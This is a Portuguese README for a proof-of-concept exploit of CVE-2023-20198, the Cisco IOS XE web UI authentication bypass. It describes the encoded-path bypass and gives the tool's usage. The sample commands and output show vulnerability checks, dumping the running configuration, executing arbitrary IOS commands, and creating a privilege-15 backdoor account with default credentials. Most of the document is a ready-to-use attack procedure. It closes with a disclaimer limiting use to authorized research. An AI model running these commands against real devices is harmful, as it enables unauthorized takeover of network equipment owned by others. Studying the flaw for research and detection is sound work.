
PoC de exploit para CVE-2023-20198
PoC de exploit para CVE-2023-20198
Informações sobre a vulnerabilidade e uso do exploit oferecidos por smokeintheshell (Veja as referências)
O gerenciamento de endpoint, tipo de conteúdo http e cabeçalhos foi modificado a partir de outros POCs existentes para funcionar em situações onde outros exploits falham.
CVE-2023-20198 caracteriza-se por validação de caminho inadequada para contornar a filtragem do Nginx e alcançar o endpoint web webui_wsma_http sem exigir autenticação.
Ao contornar a autenticação no endpoint, um atacante pode executar comandos arbitrários do Cisco IOS ou realizar alterações de configuração com privilégios de Nível 15.
A investigação da Cisco sobre a exploração ativa da vulnerabilidade anteriormente não divulgada revelou que agentes de ameaças primeiro exploraram CVE-2023-20198 para adicionar um novo usuário com Nível de Privilégio 15. Ataques adicionais envolveram a exploração de CVE-2023-20273 para escalar para o usuário root do sistema operacional Linux subjacente, facilitando a implantação.
Este PoC explora CVE-2023-20198 para aproveitar dois endpoints XML SOAP diferentes:
As opções de verificação de vulnerabilidade, configuração e execução de comandos têm como alvo o endpoint SOAP cisco:wsma-exec para inserir comandos na tag de elemento execCLI.
A opção de adicionar usuário tem como alvo o endpoint SOAP cisco:wsma-config para realizar uma alteração de configuração e adicionar a conta de Nível 15. Este endpoint poderia ser [mal] utilizado para fazer outras alterações de configuração, mas isso está fora do escopo deste PoC.
O abuso do endpoint SOAP cisco:wsma-exec veio do template do nuclei
O abuso do endpoint SOAP cisco:wsma-config veio do PoC da horizon3ai
Nota: Não conduzi nenhuma das pesquisas originais ou desenvolvimento do PoC para este CVE. Veja a seção de referências para créditos.
usage: exploit.py [-h] (-t targetIP | -l targetFile) [-https] (-c | -g | -e command | -a | -d) [-u newUserName] [-p newUserPass] [-o outputFile] [-v]
CVE-2023-20198 Exploit PoC
options:
-h, --help show this help message and exit
-t targetIP Target IP Address
-l targetFile File containing IP Addresses (-c only)
-https Use https
-c [X] Check for vulnerability
-g [X] Get Cisco IOS running config
-e command [X] Execute Cisco IOS command
-a [X] Add new priv 15 user
-d [X] Remove priv 15 user
-u newUserName [Optional] user name for -a or -d. Default: G4sul1n
-p newUserPass [Optional] new user pass for -a. Default: G4sul1n
-o outputFile Write output to file
-v Increase verbosity
Para verificar CVE-2023-20198, -c tentará explorar a vulnerabilidade para executar uname -a
Exemplo:
# ./exploit.py -t 10.0.0.1 -c
Testing for vulnerability
Target IP: 10.0.0.1
Target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Vulnerable: True
IOS Ver: <REDACTED> IOS 16.6 Cisco IOS Software [Everest], Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M), Version 16.6.5, RELEASE SOFTWARE (fc3)
A opção -g executa sh run para obter a configuração em execução
Exemplo:
# ./exploit.py -t 10.0.0.1 -g
Building configuration...
Current configuration : 6988 bytes
!
...
!
version 16.6
no service pad
service timestamps debug datetime msec
service timestamps log datetime msec
...
Comandos arbitrários do Cisco IOS podem ser executados com a opção -e.
Extrema cautela deve ser usada ao utilizar isso para fazer alterações de configuração. Não há validação de entrada e as alterações são aplicadas imediatamente à configuração em execução.
Exemplo:
# ./exploit.py -t 10.0.0.1 -e 'sh log'
Selected Target: 10.0.0.1
Running in Exec Mode
Executing Command: sh log
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
Syslog logging: enabled (0 messages dropped, 1 messages rate-limited, 0 flushes, 0 overruns, xml disabled, filtering disabled)
No Active Message Discriminator.
No Inactive Message Discriminator.
Console logging: level debugging, 5368 messages logged, xml disabled,
filtering disabled
...
A opção -a pode ser usada para criar uma nova conta de usuário de Nível 15, opcionalmente especificando o nome da conta e a senha com -u e -p, respectivamente.
Exemplo:
# ./exploit.py -t 10.0.0.1 -a -u G4sul1n -p G4sul1n
Selected Target: 10.0.0.1
Adding New Privilege 15 User
New User Name: G4sul1n
New User Pass: G4sul1n
Sending exploit to target URL: http://10.0.0.1/%2577eb%2575i_%2577sma_Http
No reportable output from adding users
Check verbose ouput or get running config
Done.
A opção -d pode ser usada para remover uma conta de usuário do dispositivo e respeita o nome de usuário especificado com -u.
Cuidado deve ser tomado para garantir que você não está excluindo uma conta legítima.
Isso foi adicionado para casos em que o acesso shell/webui a um Cisco explorado não pode ser obtido. Observou-se que adicionar um usuário de Nível 15 não concede acesso à webui e pode levar a deixar artefatos de exploração nos hosts.
Comunicado da Cisco
Pesquisa da horizon3ai sobre CVE-2023-20198
PoC da horizon3ai para CVE-2023-20198
Template do nuclei para CVE-2023-20198 (Autores: iamnoooob, rootxharsh, pdresearch)
PoC da LeakIX para CVE-2023-20273
PoC do smokeintheshell para CVE-2023-20198
O código contido neste projeto destina-se apenas a pesquisa e uso em sistemas onde o usuário tem autorização explícita.
O autor deste projeto não é responsável ou não se responsabiliza pelo uso indevido do software.
Use com responsabilidade e não seja malvado